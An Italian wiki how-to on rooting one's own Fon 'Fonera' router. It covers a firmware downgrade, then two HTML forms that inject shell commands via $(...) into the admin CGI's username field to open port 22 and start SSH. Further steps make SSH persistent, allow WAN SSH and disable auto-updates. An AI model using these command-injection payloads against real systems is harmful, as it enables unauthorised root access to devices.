Howto Hacking Fonera
Da PtLUG Wiki.
Contents |
Introduzione
Come molti di voi sapranno, Fon è un progetto che si propone come obbiettivo quello di condividere la connessione wireless fra i propri utenti in modo che ogni utente Fon possa contare su una copertura wireless in continua crescita.
Fino a un annetto fa era possibile aderire al progetto Fon adattando la maggior parte dei router wireless già esistenti, mentre allo stato attuale è stato fatto un ulteriore passo avanti, ovvero la produzione e la vendita (in alcuni casi la donazione gratuita) di appositi mini router, detti appunto Fonera.
La Fonera nasce però come prodotto a scatola chiusa. Sebbene il suo firmware sia a sorgente aperto, non è consentito utilizzare una Fonera con un firmware diverso da quello originale, a meno di... non scoprire qualche trucchetto che ci permetta di by-passare le protezioni imposte da Fon.
Lo scopo di questa guida è proprio quello di mettere in grado chi possiede una Fonera di utilizzarla anche per altri scopi oltre a quello originale.
N.B: Fon è un progetto nato per la condivisione della connessione wireless fra gli utenti. Fon, Google, ed altre aziende hanno investito e stanno investendo molto sul progetto e soprattutto sulla Fonera. Chi acquista (al prezzo bassissimo) o riceve in regalo una Fonera ha l'obbligo (se non altro morale) di continuare a tenerla accesa ed a condividere la propria connessione. Si consiglia pertanto di utilizzare queste istruzioni soltanto nel caso volessimo amplificare il segnale di un'altra Fonera già attiva. Non mi assumo alcuna responsabilità per eventuali danni causati ai vostri piccoli router eseguendo queste istruzioni.
Descrizione dell'exploit
Non è trascorso molto tempo prima che qualche bravo hacker riuscisse a trovare una vulnerabilità nel firmware della Fonera, che permettesse di acquisirne il completo controllo da parte dell'utente.
Per default la Fonera viene fornita con il servizio SSH disabilitato e con il firewall interno impostato in modo che rifiuti qualsiasi tipo di connessione sulla porta 22 (quella del servizio SSH).
La Fonera è dotata però di un'interfaccia di amministrazione che a sua volta esegue degli script in modalità root. E' bastato trovare una vulnerabilità in questa interfaccia, per poter eseguire comandi arbitrari sulla Fonera.
In particolar modo i comandi che verranno eseguiti sono quelli che riabilitano il servizio SSH e che modificano il firewall in modo da consentire nuovamente connessioni verso queste porte.
Downgrade della Fonera
Questo trucchetto però è durato poco... i tecnici di Fon hanno ben presto messo una pezza al bug dell'interfaccia, correggendo così questa vulnerabilità per tutte le versioni di firmware dalla 0.7.1 r2 in poi.
Fortunatamente esiste un modo (anzi due) per riportare la Fonera ad una versione precedente del firmware, permettendoci così di sfruttare la vulnerabilità in questione.
Metodo del reset
- premete l’interruttore posto nella parte inferiore della Fonera per 60 secondi
- staccate l’alimentazione dal dispositivo per 10 minuti
- collegate La Fonera (sconnessa da internet) al computer
- accedete all’interfaccia web e notate che la versione del firmware è 0.7.1r1
Metodo del vecchio firmware
- connettevi all’interfaccia web della Fonera e, utilizzando le voci Avanzato -> Aggiornamento firmware, caricate il firmware 0.7.0r4 scaricabile da questo link (attenzione: è un pacchetto compresso, prima di utilizzarlo decomprimetelo!)
- l'aggiornamento dovrebbe darvi un errore dicendo che l'update non è compatibile con la versione che avete
- ignorate l'errore, attendete la fine dell'upgrade e poi spengete la Fonera
- riavviate la Fonera dopo qualche minuto (se dovesse bloccarsi al primo avvio, riavviatela di nuovo)
Preparazione dell'exploit
Una volta effettuato il downgrade alla versione 0.7.1 r1 la Fonera è pronta per il nostro exploit. Dobbiamo creare adesso due file: primo.html e secondo.html (ovviamente va bene qualsiasi nome, è solo una convenzione).
primo.html deve contenere le seguenti righe:
<html> <head></head><body><center> <form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data"> <input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" /> <input type="submit" name="submit" value="Submit" /> </form> </center></body></html>
secondo.html deve contenere invece le seguenti righe:
<html> <head></head><body><center> <form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data"> <input name="username" value="$(/etc/init.d/dropbear)" size="68" ><input type="submit" name="submit" value="Submit" /> </form> </center></body></html>
Configurazione del PC
Prima di iniziare a lavorare sulla Fonera, è necessario configurare la scheda ethernet del proprio PC con i seguenti parametri:
- IP: 169.254.255.2
- Subnet mask: 255.255.255.0
- Gateway: 169.254.255.1
- DNS: 169.254.255.1
tenendo di conto che la Fonera ha un'interfaccia ethernet preconfigurata con l'ip 169.254.255.1
Esecuzione dell'exploit
Dopo aver connesso il cavo ethernet dal proprio PC alla Fonera, bisogna aprire il file primo.html, cliccare sul pulsante Submit e quando ci vengono chieste le credenziali di accesso bisogna inserire admin per lo username e admin per la password (sempre che si siano lasciate le impostazioni di default sulla propria Fonera).
Con questo primo file si vanno a modificare le impostazioni del firewall facendo accettare connessioni sulla porta 22 della Fonera.
A questo punto dobbiamo aprire il file secondo.html e dopo aver cliccato su Submit inserire i medesimi username e password usati in precedenza.
Con questo ultimo passo si avvia il servizio SSH sulla Fonera rendendola quindi accessibile a tutti gli effetti.
Configurazione della Fonera
Adesso che siamo riuscito ad "aprire" la Fonera, quello che dobbiamo fare è rendere permanenti le modifiche in modo che sia possibile accedere di nuovo dopo un eventuale riavvio della stessa.
Connessione tramite SSH
Per prima cosa dobbiamo connetterci tramite un qualsiasi client SSH:
ssh -l root 169.254.255.1
come password utilizzate la stessa che avete utilizzato nell'interfaccia web.
Abilitazione permanente di SSH
Dobbiamo fare in modo che il demone SSH venga avviato automaticamente ogni volta che si avvia la Fonera. Per fare questo basta eseguire questo comando:
mv /etc/init.d/dropbear /etc/init.d/S50dropbear
Modifiche al firewall della Fonera
A questo punto dobbiamo fare in modo che la Fonera accetti sempre le connessione verso la propria porta SSH. Dobbiamo quindi editare le regole del firewall con vi:
vi /etc/firewall.user
e decommentare le seguenti righe:
# iptables -t nat -A prerouting_rule -i $WAN -p tcp –dport 22 -j ACCEPT # iptables -A input_rule -i $WAN -p tcp –dport 22 -j ACCEPT
Impedire alla Fonera di auto-aggiornarsi
Come ultimo step, dobbiamo fare in modo che la Fonera non si aggiorni automaticamente con i nuovi firmware disponibili in rete. Per fare questo dobbiamo editare lo script che si occupa dell'aggiornamento automatico:
vi /bin/thinclient
decommentando questa riga:
. /tmp/.thinclient.sh
Infine sotto #. /tmp/.thinclient.sh inseriamo la seguente riga:
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
per salvare una copia degli aggiornamenti che vengono scaricati.
A questo punto la Fonera è completamente aperta e l'accesso SSH sarà disponibile anche dopo un eventuale riavvio.
Utilizzare la Fonera come ponte wireless
Una delle cose piu' interessanti che è possibile fare con la Fonera (una volta aperta) è quella di utilizzarla come ponte wireless. A cosa serve un ponte wireless?
Gli utilizzi sono molteplici:
- estendere il segnale del proprio access point dall'altra parte della casa (o anche in giardino se ci arriva!)
- portare la connessione internet in un punto della casa dove non è disponibile, attaccandoci uno switch alla porta ethernet, senza dover cablare tutto l'edificio
- qualsiasi altro utilizzo dove si abbia la necessità di ripetere il segnale wireless del proprio router.
Grazie allo script di Antonio Anselmi e al contributo di molti utenti, è stato creato lo script ponte2 che permette, addirittura tramite una comoda interfaccia web, di gestire tutte queste nuove funzionalità della Fonera.
Lo script (e tutte le istruzioni per installarlo ed utilizzarlo) sono disponibili su questo sito web: http://www.blogin.it/fonera4.php
Autore
Questa guida è stata scritta da Andrea Grandi basandosi sui numerosi riferimenti trovati in rete e grazie all'aiuto di altre persone che a loro volta avevano testato l'exploit.
Riferimenti
- Hacking della Fonera (di MarioMix)
- Downgrade della Fonera (di Paolo Gatti)
- Usare la Fonera come Ponte Wireless (di Antonio Anselmi)

